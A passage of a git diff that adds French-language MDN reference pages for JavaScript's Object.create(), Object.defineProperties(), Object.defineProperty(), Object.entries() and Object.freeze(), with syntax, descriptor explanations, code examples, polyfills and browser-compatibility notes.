+ +

Ici, la méthode {{jsxref("Object.assign()")}} copie les propriétés du prototype de la classe parente (ClassParente2) sur le prototype de la classe fille (MaClasse), les rendant disponibles pour toutes les instances de MaClasse. Object.assign() a été introduit avec ES2015 et une prothèse d'émulation (polyfill) est disponible. Si le support des navigateurs plus anciens est nécessaire, les méthodes jQuery.extend() ou _.assign() (Lodash) peuvent être utilisées.

+ +

Utiliser l'argument objetPropriétés avec Object.create()

+ +
var o;
+
+// on crée un objet avec null
+// comme prototype
+o = Object.create(null);
+
+
+o = {};
+// est équivalent à :
+o = Object.create(Object.prototype);
+
+
+// Exemple où on crée un objet avec quelques propriétés
+// (On voit ici que le second paramètres fait correspondre les clés
+// avec des descripteurs de propriétés.)
+o = Object.create(Object.prototype, {
+  // toto est une propriété de donnée
+  toto: { writable: true, configurable: true, value: 'hello' },
+  // truc est une propriété d'accesseur/mutateur
+  truc: {
+    configurable: false,
+    get: function() { return 10; },
+    set: function(value) { console.log('Définir `o.truc` à', value); }
+/* avec les accesseurs ES2015 on aura :
+    get() { return 10; },
+    set(value) { console.log('Définir `o.truc` à', value); } */
+  }
+});
+
+
+function Constructeur() {}
+o = new Constructeur();
+// est équivalent à :
+o = Object.create(Constructeur.prototype);
+// Bien entendu, si la fonction Constructeur
+// possède des instructions pour l'initialisation,
+// Object.create() ne pourra pas le reproduire
+
+
+// on crée un nouvel objet dont le prototype est
+// un nouvel objet vide et on y ajoute une propriété
+// 'p' qui vaut 42
+o = Object.create({}, { p: { value: 42 } });
+
+// par défaut, les propriétés ne sont PAS
+// écrivables, énumérables ou configurables
+o.p = 24;
+o.p;
+// 42
+
+o.q = 12;
+for (var prop in o) {
+  console.log(prop);
+}
+// 'q'
+
+delete o.p;
+// false
+
+// Pour définir une propriété selon ES3
+o2 = Object.create({}, {
+  p: {
+    value: 42,
+    writable: true,
+    enumerable: true,
+    configurable: true
+  }
+});
+
+// Équivalent à
+// o2 = Object.create({p: 42});
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES2015', '#sec-object.create', 'Object.create')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-object.create', 'Object.create')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.create")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Object.defineProperties()")}}
    • +
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • +
  • Le billet de John Resig sur getPrototypeOf() (en anglais)
    • +
+ +
+ + + + + +
diff --git a/files/fr/web/javascript/reference/global_objects/object/defineproperties/index.html b/files/fr/web/javascript/reference/global_objects/object/defineproperties/index.html new file mode 100644 index 0000000000..01647f7dec --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/defineproperties/index.html @@ -0,0 +1,201 @@ +--- +title: Object.defineProperties() +slug: Web/JavaScript/Reference/Objets_globaux/Object/defineProperties +tags: + - ECMAScript 5 + - JavaScript + - Méthode + - Object + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties +--- +
{{JSRef}}
+ +

La méthode Object.defineProperties() permet de définir ou de modifier les propriétés d'un objet directement sur celui-ci. La valeur renvoyée est l'objet modifié.

+ +
{{EmbedInteractiveExample("pages/js/object-defineproperties.html")}}
+ + + +

Syntaxe

+ +
Object.defineProperties(obj, props)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite modifier ou définir certaines propriétés.
+
props
+
Un objet dont les propriétés propres et énumérables sont des descripteurs de propriétés pour les propriétés à définir ou à modifier. Les descripteurs de propriétés peuvent avoir deux formes (voir {{jsxref("Object.defineProperty()")}} pour plus d'informations) : un descripteur de donnée ou un descripteur d'accesseur.
+
Les descripteurs de donnée et d'accesseur peuvent avoir les clés suivantes : +
+
configurable
+
true si et seulement si le type de ce descripteur peut être modifié et si la propriété peut être supprimée de l'objet.
+ Par défaut : false.
+
enumerable
+
true si et seulement si la propriété doit être listée lors des énumérations de propriétés de l'objet (quand on liste les propriétés pour une boucle par exemple).
+ Par défaut : false.
+
+ +

Un descripteur de donnée pourra avoir les clés suivantes :

+ +
+
value
+
La valeur associée à la propriété. Cela peut être n'importe quelle valeur valide en JavaScript (un nombre, un objet, etc.).
+ Par défaut : {{jsxref("undefined")}}.
+
writable
+
true si et seulement si la valeur associée à la propriété peut être modifiée par un {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateur d'affectation", "", 1)}}.
+ Par défaut : false.
+
+ +

Un descripteur d'accesseur pourra avoir les clés suivantes :

+ +
+
get
+
Une fonction utilisée comme accesseur pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas d'accesseur. La fonction renvoyée sera utilisée comme valeur pour la propriété.
+ Par défaut : {{jsxref("undefined")}}.
+
set
+
Une fonction utilisée comme mutateur pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas de mutateur. La fonction qui sera utilisée ensuite recevra la nouvelle valeur à affecter à la propriété comme argument.
+ Par défaut : {{jsxref("undefined")}}.
+
+ +

Si un descripteur ne possède aucune clé parmi value, writable, get et set, il sera considéré comme un descripteur de donnée. Si un descripteur possède à la fois les clés value/writable et get/set, une exception sera levée.

+
+
+ +

Valeur de retour

+ +

L'objet passé à la fonction, éventuellement modifié.

+ +

Description

+ +

Object.defineProperties permet principalement de définir toutes les propriétés  de l'objet obj correspondant aux propriétés énumérable de props.

+ +

Exemples

+ +
var obj = {};
+Object.defineProperties(obj, {
+  "propriété1": {
+    value: true,
+    writable: true
+  },
+  "propriété2": {
+    value: "Coucou",
+    writable: false
+  }
+  // etc.
+});
+ +

Prothèse d'émulation (polyfill)

+ +

Si on considère un environnement pur où tous les noms et toutes les propriétés font référence à leurs valeurs initiales, Object.defineProperties est quasiment équivalent à l'implémentation suivante en JavaScript (voir la note liée à isCallable) :

+ +
function defineProperties(obj, properties) {
+  function convertToDescriptor(desc) {
+    function hasProperty(obj, prop) {
+      return Object.prototype.hasOwnProperty.call(obj, prop);
+    }
+
+    function isCallable(v) {
+      // NB : à modifier s'il y a plus de types
+      // que les fonctions qui sont
+      // appelables (callables)
+      return typeof v === "function";
+    }
+
+    if (typeof desc !== "object" || desc === null)
+      throw new TypeError("bad desc");
+
+    var d = {};
+
+    if (hasProperty(desc, "enumerable"))
+      d.enumerable = !!desc.enumerable;
+    if (hasProperty(desc, "configurable"))
+      d.configurable = !!desc.configurable;
+    if (hasProperty(desc, "value"))
+      d.value = desc.value;
+    if (hasProperty(desc, "writable"))
+      d.writable = !!desc.writable;
+    if ( hasProperty(desc, "get") ) {
+      var g = desc.get;
+
+      if (!isCallable(g) && typeof g !== "undefined")
+        throw new TypeError("bad get");
+      d.get = g;
+    }
+    if ( hasProperty(desc, "set") ) {
+      var s = desc.set;
+      if (!isCallable(s) && typeof s !== "undefined")
+        throw new TypeError("bad set");
+      d.set = s;
+    }
+
+    if (("get" in d || "set" in d) && ("value" in d || "writable" in d))
+      throw new TypeError("identity-confused descriptor");
+
+    return d;
+  }
+
+  if (typeof obj !== "object" || obj === null)
+    throw new TypeError("bad obj");
+
+  properties = Object(properties);
+
+  var keys = Object.keys(properties);
+  var descs = [];
+
+  for (var i = 0; i < keys.length; i++)
+    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
+
+  for (var i = 0; i < descs.length; i++)
+    Object.defineProperty(obj, descs[i][0], descs[i][1]);
+
+  return obj;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée par JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.defineProperties")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/defineproperty/index.html b/files/fr/web/javascript/reference/global_objects/object/defineproperty/index.html new file mode 100644 index 0000000000..e7222df8ba --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/defineproperty/index.html @@ -0,0 +1,421 @@ +--- +title: Object.defineProperty() +slug: Web/JavaScript/Reference/Objets_globaux/Object/defineProperty +tags: + - ECMAScript 5 + - JavaScript + - JavaScript 1.8.5 + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty +--- +
{{JSRef}}
+ +

La méthode statique Object.defineProperty() permet de définir une nouvelle propriété ou de modifier une propriété existante, directement sur un objet. La méthode renvoie l'objet modifié.

+ +
+

Note : Cette méthode est directement appelée via le constructeur {{jsxref("Object")}} plutôt que sur les instances de type Object.

+
+ +
{{EmbedInteractiveExample("pages/js/object-defineproperty.html")}}
+ + + +

Syntaxe

+ +
Object.defineProperty(obj, prop, descripteur)
+ +

Paramètres

+ +
+
obj
+
L'objet sur lequel on souhaite définir ou modifier une propriété.
+
prop
+
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété qu'on définit ou qu'on modifie.
+
descripteur
+
Le descripteur de la propriété qu'on définit ou qu'on modifie.
+
+ +

Valeur de retour

+ +

L'objet qui a été passé à la fonction et qui a éventuellement été modifié.

+ +

Description

+ +

Cette méthode permet d'ajouter ou de modifier une propriété d'un objet avec une certaine précision. En effet, quand on ajoute une propriété « normalement » (via une affectation), on crée une propriété dont le comportement par défaut fait qu'elle sera listée dans une énumération de propriétés (par exemple avec une boucle {{jsxref("Instructions/for...in","for...in")}} ou via la méthode {{jsxref("Object.keys")}}), dont la valeur peut être changée et qui peut être supprimée via {{jsxref("Opérateurs/L_opérateur_delete","delete")}}. La méthode Object.defineProperty() permet de préciser le comportement attendu, potentiellement différent de celui par défaut.

+ +

Les descripteurs de propriété existent en deux versions : les descripteurs de données et les descripteurs d'accesseur. Un descripteur de données est une propriété qui possède une valeur et qui peut ou non être accessible en écriture. Un descripteur d'accesseur est une propriété décrite par une paire d'accesseur/mutateur (getter/setter) qui sont des fonctions. Un descripteur est un descripteur de données ou un descripteur d'accesseur, il ne peut pas être les deux.

+ +

Les descripteurs de données et d'accesseur sont des objets. Ils partagent les propriétés suivantes (la valeur par défaut indiquée est utilisée lorsqu'on passe par Object.defineProperty()) :

+ +
+
configurable
+
true si et seulement si le type de ce descripteur de propriété peut être changé et si la propriété peut/pourra être supprimée de l'objet correspondant..
+ La valeur par défaut est false.
+
enumerable
+
true si et seulement si la propriété apparaît lors de l'énumération des propriétés de l'objet correspondant.
+ La valeur par défaut est false.
+
+ +

Un descripteur de données possède les propriétés optionnelles suivantes :

+ +
+
value
+
La valeur associée à la propriété. Peut être n'importe quelle valeur JavaScript valide (un nombre, un objet, etc.).
+ La valeur par défaut est {{jsxref("undefined")}}.
+
writable
+
true si et seulement si la valeur associée à la propriété peut être modifiée en utilisant un {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateur d'affectation", "", 1)}}.
+ La valeur par défaut est false.
+
+ +

Un descripteur d'accesseur possède les propriétés optionnelles suivantes :

+ +
+
get
+
Une fonction qui est utilisée comme accesseur (getter) pour la propriété ou bien {{jsxref("undefined")}} s'il n'existe pas d'accesseur. La valeur de retour de la fonction sera utilisée comme valeur pour la propriété. Lorsqu'on accède à la propriété, la fonction est appelée sans argument avec this qui est l'objet pour lequel on souhaite consulter la propriété.
+ La valeur par défaut est {{jsxref("undefined")}}.
+
set
+
Une fonction qui est utilisée comme mutateur (setter) pour la propriété ou bien {{jsxref("undefined")}} s'il n'existe pas de mutateur. Pour unique argument, la fonction recevra la nouvelle valeur à affecter à la propriété. Le contexte this passé est l'objet sur lequel on souhaite modifier la propriété.
+ La valeur par défaut est {{jsxref("undefined")}}.
+
+ +

Si un descripteur ne possède aucune des clés value, writable, get ou set, il est considéré comme un descripteur de données. Si un descripteur possède à la fois une propriété value ou writable et une propriété get ou set, un exception sera déclenchée.

+ +

Il faut garder à l'esprit que ces options ne sont pas nécessairement les descripteurs des propriétés propres. Elles peuvent être héritées et faire partie de la chaine des prototypes. Afin de s'assurer que les valeur par défaut sont préservées, on peut d'abord geler le prototype {{jsxref("Object.prototype")}}, définir toutes les options explicitement ou faire pointer la propriété {{jsxref("Object.prototype.__proto__", "__proto__")}} vers {{jsxref("null")}} (par exemple avec {{jsxref("Object.create","Object.create(null)")}}).

+ +
var obj = {};
+// en utilisant __proto__
+Object.defineProperty(obj, "clé", {
+  __proto__: null, // aucune propriété héritée
+  value: "static"  // non énumérable
+                   // non configurable
+                   // non accessible en écriture
+                   // par défaut
+});
+
+// en étant explicite
+Object.defineProperty(obj, "clé", {
+  enumerable: false,
+  configurable: false,
+  writable: false,
+  value: "static"
+});
+
+// en recyclant un objet
+function avecValeur(valeur) {
+  var d = avecValeur.d || (
+    avecValeur.d = {
+      enumerable: false,
+      writable: false,
+      configurable: false,
+      value: null
+    }
+  );
+  if(d.value !== valeur){
+    d.value = valeur;
+  }
+  return d;
+}
+// ... autres instructions... puis
+Object.defineProperty(obj, "clé", avecValeur("static"));
+
+// si la méthode freeze est disponible,
+// on peut empêcher que du code ajoute des
+// propriétés (valeur, get, set, enumerable,
+// writable, configurable) au prototype d'Object
+(Object.freeze||Object)(Object.prototype);
+ +

Exemples

+ +

Pour plus d'exemples utilisant la méthode Object.defineProperty avec une syntaxe de masque binaire, voir les exemples supplémentaires.

+ +

Créer une propriété

+ +

Lorsqu'une propriété n'existe pas pour l'objet, Object.defineProperty() créera une nouvelle propriété telle qu'elle est décrite. Certains champs du descripteur peuvent manquer, les valeurs par défaut seront alors utilisées. Tous les booléens ont false pour valeur par défaut. Une propriété définie sans get/set/value/writable est appelée « générique » et « correspond » à un descripteur de données.

+ +
var o = {}; // on crée un nouvel objet
+
+// Exemple d'une propriété ajoutée via defineProperty
+// avec un descripteur de données
+Object.defineProperty(o, "a", {value : 37,
+                               writable : true,
+                               enumerable : true,
+                               configurable : true});
+// la propriété 'a' existe pour l'objet o et vaut 37
+
+// Exemple d'une propriété ajoutée via defineProperty
+// avec un descripteur d'accesseur
+var valeurB = 38;
+Object.defineProperty(o, "b", {get : function(){ return valeurB; },
+                               set : function(nouvelleValeur){
+                                           valeurB = nouvelleValeur;
+                                     },
+                               enumerable : true,
+                               configurable : true});
+o.b; // 38
+// la propriété 'b' existe pour l'objet o
+// et vaut 38
+// La valeur de o.b est désormais toujours
+// identique à valeurB, sauf si o.b est redéfini
+
+// On ne peut pas mélanger les deux :
+Object.defineProperty(o, "conflit", { value: 0x9f91102,
+                                       get: function() {
+                                            return 0xdeadbeef;
+                                       }
+                                     });
+// une exception TypeError sera lancée : value n'apparaît
+// que dans les descripteurs de données
+// get n'apparait que dans les descripteurs d'accesseur
+
+ +

Modifier une propriété existante

+ +

Quand une propriété existe d'ores et déjà pour un objet, Object.defineProperty() tentera de modifier la propriété pour qu'elle corresponde aux valeurs indiquées dans le descripteur et à la configuration de l'objet courant. Si l'ancien descripteur avait configurable à  false (la propriété est dite non-configurable), aucun attribut, à l'exception de writable, ne peut être changé. Dans ce cas, il n'est pas possible de changer entre les types de descripteur.

+ +

Si une propriété est non-configurable, son attribut writable ne peut être mis qu'à false.

+ +

Une exception {{jsxref("TypeError")}} peut être levée quand on essaie de modifier des attributs de propriété non-configurables (en dehors des attributs value et writable) sauf dans le cas où les valeurs souhaitées sont les mêmes que les valeurs courantes.

+ +

Attribut writable

+ +

Lorsque l'attribut writable vaut false pour la propriété, cette dernière n'est plus accessible en écriture. Il est impossible de la réaffecter.

+ +
var o = {}; // On crée un nouvel objet
+
+Object.defineProperty(o, "a", { value : 37,
+                                writable : false });
+
+console.log(o.a); // inscrit 37 dans les journaux (logs)
+o.a = 25; // Aucune exception n'est lancée (on aurait une
+          // exception en mode strict, y compris si la
+          // valeur souhaitée avait été la même)
+console.log(o.a); // inscrit toujours 37.
+                  //L'affectation n'a pas fonctionné.
+ +
// En mode strict
+(function() {
+  'use strict';
+  var o = {};
+  Object.defineProperty(o, 'b', {
+    value: 2,
+    writable: false
+  });
+  o.b = 3; // déclenche une TypeError: "b" est en lecture seule
+  return o.b; // renvoie 2 sans la ligne précédente
+}());
+
+ +

Comme on l'a vu dans l'exemple, essayer de modifier une propriété non accessible en écriture ne la modifie pas. Cela ne rend pas d'erreur non plus (en mode non-strict).

+ +

Attribut enumerable

+ +

L'attribut de propriété enumerable permet de définir si la propriété est sélectionnée par {{jsxref("Object.assign()")}} ou via l'opérateur de décomposition (spread). Pour les propriétés qui ne sont pas nommées avec des symboles, les propriétés énumérables correspondent aux propriétés qui sont listées avec une boucle {{jsxref("Instructions/for...in","for...in")}} ou avec la méthode {{jsxref("Object.keys()")}}.

+ +
var o = {};
+Object.defineProperty(o, 'a', {
+  value: 1,
+  enumerable: true
+});
+Object.defineProperty(o, 'b', {
+  value: 2,
+  enumerable: false
+});
+Object.defineProperty(o, 'c', {
+  value: 3
+}); // enumerable vaut false par défaut
+o.d = 4; // enumerable vaut true par défaut
+         // lorsqu'on crée une propriété
+         // en la définissant
+Object.defineProperty(o, Symbol.for('e'), {
+  value: 5,
+  enumerable: true
+});
+Object.defineProperty(o, Symbol.for('f'), {
+  value: 6,
+  enumerable: false
+});
+
+for (var i in o) {
+  console.log(i);
+}
+// affiche 'a' et 'd' (dans un ordre indéfini)
+
+Object.keys(o); // ['a', 'd']
+
+o.propertyIsEnumerable('a'); // true
+o.propertyIsEnumerable('b'); // false
+o.propertyIsEnumerable('c'); // false
+o.propertyIsEnumerable('d'); // true
+o.propertyIsEnumerable(Symbol.for('e')); // true
+o.propertyIsEnumerable(Symbol.for('f')); // false
+
+var p = { ...o }
+p.a // 1
+p.b // undefined
+p.c // undefined
+p.d // 4
+p[Symbol.for('e')] // 5
+p[Symbol.for('f')] // undefined
+
+ +

Attribut configurable

+ +

L'attribut configurable permet de contrôler si la propriété peut être supprimée et si les autres attributs de propriété (voir ci-avant), à l'exception de value ou de writable, peuvent être modifiés.

+ +
var o = {};
+Object.defineProperty(o, "a", { get : function(){return 1;},
+                                configurable : false } );
+
+Object.defineProperty(o, "a", {configurable : true});
+// renvoie une TypeError
+
+Object.defineProperty(o, "a", {enumerable : true});
+// renvoie une TypeError
+
+Object.defineProperty(o, "a", {set : function(){}});
+// renvoie une TypeError (set était non défini avant)
+
+Object.defineProperty(o, "a", {get : function(){return 1;}});
+// renvoie une TypeError
+// (bien que le nouveau get soit identique au précédent)
+
+Object.defineProperty(o, "a", {value : 12});
+// renvoie une TypeError
+
+console.log(o.a); // log 1
+delete o.a; // Rien ne se passe
+console.log(o.a); // log 1
+
+ +

Si l'attribut configurable de o.a avait été true, aucune de ces erreurs n'aurait été renvoyée et la propriété aurait été supprimée au final.

+ +

Ajouter des propriétés et des valeurs par défaut

+ +

Il est toujours important de savoir comment les valeurs par défaut sont appliquées. Le comportement est souvent différent entre une affectation simple et l'utilisation de Object.defineProperty(). Par exemple :

+ +
var o = {};
+
+o.a = 1;
+// est équivalent à :
+Object.defineProperty(o, "a", {value : 1,
+                               writable : true,
+                               configurable : true,
+                               enumerable : true});
+
+
+// D'un autre côté,
+Object.defineProperty(o, "a", {value : 1});
+// sera équivalent à :
+Object.defineProperty(o, "a", {value : 1,
+                               writable : false,
+                               configurable : false,
+                               enumerable : false});
+
+ +

Accesseurs et mutateurs adaptés

+ +

L'exemple ci-dessous illustre comment implémenter un objet qui archive des données. Lorsque la propriété température est définie, on ajoute une entrée au tableau archive :

+ +
function Archiviste() {
+  var température = null;
+  var archive = [];
+
+  Object.defineProperty(this, "température",{
+    get: function() {
+      console.log("accès !");
+      return température;
+    },
+    set: function(value) {
+      température = value;
+      archive.push({val: température});
+    }
+  });
+
+  this.getArchive = function() {return archive;};
+}
+
+var arc = new Archiviste();
+arc.température; // "accès !"
+arc.température = 11;
+arc.température = 13;
+arc.getArchive(); // [{val: 11}, {val: 13}]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉ tatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}{{Spec2('ES6')}}
+

{{SpecName('ESDraft', '#sec-object.defineproperty', 'Object.defineProperty')}}

+ 		{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.defineProperty")}}

+ +

Notes de compatibilité

+ +

Redéfinir la propriété length d'un tableau (Array)

+ +

Il est possible de redéfinir la propriété {{jsxref("Array.length", "length")}} utilisée pour les tableaux, avec les restrictions vues. (La propriété length est initialement non-configurable, non-enumérable et accessible en écriture (writable vaut true)). Ainsi, sur un tableau, si rien n'a été fait, on peut modifier la valeur de la propriété length ou la rendre non accessible en écriture. Il n'est pas permis de changer son caractère énumérable ou configurable. Cependant, tous les navigateurs n'autorisent pas cette redéfinition.

+ +

Les versions de Firefox 4 à 22 renverront une exception {{jsxref("TypeError")}} pour chaque tentative (licite ou non) de modification de la propriété length d'un tableau.

+ +

Pour les versions de Chrome qui implémentent Object.defineProperty(), elles ignorent, dans certaines circonstances, une redéfinition de la propriété utilisant une valeur différente de la valeur courante de length. Sous certaines circonstances, le changement de l'accès en écriture n'aura aucun effet (et ne renverra aucune exception). Les méthodes relatives comme  {{jsxref("Array.prototype.push")}} ne respectent pas le non accès en écriture.

+ +

Pour les versions de Safari qui implémentent Object.defineProperty() elles ignorent la redéfinition d'une valeur différente de la valeur courante. Toute tentative de modifier l'accès en écriture échouera silencieusement (aucune modification effective, aucune exception renvoyée).

+ +

Seules les versions Internet Explorer 9 et supérieures et Firefox 23 et supérieures semblent supporter complètement la redéfinition de la propriété length pour les tableaux. À l'heure actuelle, il n'est pas conseillé de s'attendre à ce qu'une telle redéfinition fonctionne ou ne fonctionne pas. Même dans le cas où on peut supposer que cela fonctionne de façon cohérente : ce n'est pas vraiment une bonne idée de le faire (en anglais).

+ +

Notes spécifiques relatives à Internet Explorer 8

+ +

Internet Explorer 8 a implémenté une méthode Object.defineProperty() uniquement utilisable sur les objets DOM. Quelques éléments sont à noter :

+ +
    +
  • L'utilisation de Object.defineProperty() sur les objets natifs renvoie une erreur.
    • +
  • Les attributs de propriétés doivent être définis avec certaines valeurs. true (pour Configurable), true (pour enumerable), true (pour writable) pour les descripteurs de données et true pour configurable, false pour enumerable pour les descripteurs d'accesseur. Fournir d'autres valeurs résultera en une erreur (à confirmer).
    • +
  • Pour modifier une propriété, il faut d'abord la supprimer. Si ça n'a pas été fait, elle reste telle quelle.
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/entries/index.html b/files/fr/web/javascript/reference/global_objects/object/entries/index.html new file mode 100644 index 0000000000..3677bdc3f1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/entries/index.html @@ -0,0 +1,162 @@ +--- +title: Object.entries() +slug: Web/JavaScript/Reference/Objets_globaux/Object/entries +tags: + - ECMAScript2016 + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries +--- +
{{JSRef}}
+ +

La méthode Object.entries() renvoie un tableau des propriétés propres énumérables d'un objet dont la clé est une chaîne de caractères, sous la forme de paires [clé, valeur], dans le même ordre qu'une boucle {{jsxref("Instructions/for...in", "for...in")}} (la boucle for-in est différente car elle parcourt la chaîne des prototypes).

+ +

L'ordre du tableau renvoyé par cette méthode ne dépend pas de la façon dont l'objet est défini. S'il faut garantir un certain ordre, on pourra utiliser la méthode {{jsxref("Array.sort()")}}.

+ +
{{EmbedInteractiveExample("pages/js/object-entries.html")}}
+ + + +

Syntaxe

+ +
Object.entries(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite connaître les propriétés propres énumérables dont la clé est une chaîne de caractères, sous la forme de paires [clé, valeur].
+
+ +

Valeur de retour

+ +

Un tableau qui contient les propriétés énumérables propres de l'objet sous la forme de paires [clé, valeur].

+ +

Description

+ +

Object.entries() renvoie un tableau dont les éléments sont des paires (des tableaux à deux éléments)  [clé, valeur] qui correspondent aux propriétés énumérables qui sont directement présentes sur l'objet passé en argument. L'ordre du tableau est le même que celui utilisé lorsqu'on parcourt les valeurs manuellement.

+ +

Exemples

+ +
var obj = { toto: "truc", machin: 42 };
+console.log(Object.entries(obj)); // [ ['toto', 'truc'], ['machin', 42] ]
+
+// Un objet semblable à un tableau
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]
+
+// Un objet semblable à un tableau
+// dont les clés sont aléatoirement ordonnées
+var un_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.entries(un_obj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ]
+
+// getToto est une propriété non énumérable
+var mon_obj = Object.create({}, { getToto: { value: function() { return this.toto; } } });
+mon_obj.toto = "truc";
+console.log(Object.entries(mon_obj)); // [ ['toto', 'truc'] ]
+
+// un argument de type primitif sera
+// converti en un objet
+console.log(Object.entries("toto")); // [ ['0', 't'], ['1', 'o'], ['2', 't'],  ['3', 'o'] ]
+
+// Un tableau vide pour les types primitifs qui n'ont pas de propriétés
+console.log(Object.entries(100)); // [ ]
+
+// parcourir les clés-valeurs
+var autreObjet = {a:5, b:7, c:9};
+
+for (var [cle, valeur] of Object.entries(autreObjet)){
+  console.log(cle + ' ' + valeur);
+}
+
+// Ou encore, en utilisant les méthodes génériques
+Object.entries(autreObjet).forEach(([clé, valeur]) => {
+  console.log(clé + ' ' + valeur);
+});
+
+ +

Convertir un objet en Map

+ +

Le constructeur {{jsxref("Map", "new Map()")}} accepte un argument itérable pour décrire les entrées du tableau associatif. Grâce à Object.entries, il est possible de convertir simplement un objet {{jsxref("Object")}} en un objet {{jsxref("Map")}} :

+ +
var obj = { toto: "truc", machin: 42 };
+var map = new Map(Object.entries(obj));
+console.log(map); // Map { toto: "truc", machin: 42 }
+ +

Parcourir un objet

+ +

En utilisant la décomposition des tableaux, on peut simplement parcourir les différentes propriétés d'un objet :

+ +
const obj = { toto: "truc", bidule: 42 };
+Object.entries(obj).forEach(
+  ([clé, valeur]) => console.log(`${clé}: ${valeur}`)
+);
+// "toto: truc"
+// "bidule: 42"
+ +

Prothèse d'émulation (polyfill)

+ +

Afin d'ajouter le support pour Object.entries dans des environnements plus anciens qui ne supportent pas la méthode nativement, vous pouvez utiliser une prothèse comme celle proposée sur le dépôt tc39/proposal-object-values-entries ou sur le dépôt es-shims/Object.entries.

+ +

Vous pouvez également utiliser la prothèse suivante (qui nécessitera la prothèse pour Object.prototype.keys() si on souhaite être compatible avec IE 8 et les versions antérieures) :

+ +
if (!Object.entries) {
+  Object.entries = function( obj ){
+    var ownProps = Object.keys( obj ),
+        i = ownProps.length,
+        resArray = new Array(i);
+    while (i--)
+      resArray[i] = [ownProps[i], obj[ownProps[i]]];
+
+    return resArray;
+  };
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}{{Spec2('ESDraft')}} 
{{SpecName('ES8', '#sec-object.entries', 'Object.entries')}}{{Spec2('ES8')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.entries")}}

+
+ +

Voir aussi

+ +
    +
  • Énumérabilité et rattachement des propriétés
    • +
  • {{jsxref("Object.keys()")}}
    • +
  • {{jsxref("Object.values()")}}
    • +
  • {{jsxref("Object.prototype.propertyIsEnumerable()")}}
    • +
  • {{jsxref("Object.create()")}}
    • +
  • {{jsxref("Object.fromEntries()")}}
    • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
  • {{jsxref("Map.prototype.entries()")}}
    • +
  • {{jsxref("Map.prototype.keys()")}}
    • +
  • {{jsxref("Map.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/freeze/index.html b/files/fr/web/javascript/reference/global_objects/object/freeze/index.html new file mode 100644 index 0000000000..e8c8d7febe --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/freeze/index.html @@ -0,0 +1,257 @@ +--- +title: Object.freeze() +slug: Web/JavaScript/Reference/Objets_globaux/Object/freeze +tags: + - ECMAScript 5 + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze +--- +
{{JSRef}}
+ +

La méthode Object.freeze() permet de geler un objet, c'est-à-dire qu'on empêche d'ajouter de nouvelles propriétés, de supprimer ou d'éditer des propriétés existantes, y compris en ce qui concerne leur caractère énumérable, configurable ou pour l'accès en écriture. L'objet devient ainsi immuable. La méthode renvoie l'objet ainsi « gelé ».

+ +
{{EmbedInteractiveExample("pages/js/object-freeze.html")}}
+ + + +

Syntaxe

+ +
Object.freeze(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet à geler.
+
+ +

Valeur de retour

+ +

L'objet qui a été passé à la fonction.

+ +

Description

+ +

Rien ne pourra être ajouté ou supprimé dans l'ensemble des propriétés de l'objet gelé. Toute tentative échouera, silencieusement ou via une exception {{jsxref("TypeError")}} (la plupart du temps en {{jsxref("Strict_mode", "mode strict", "", 1)}}).

+ +

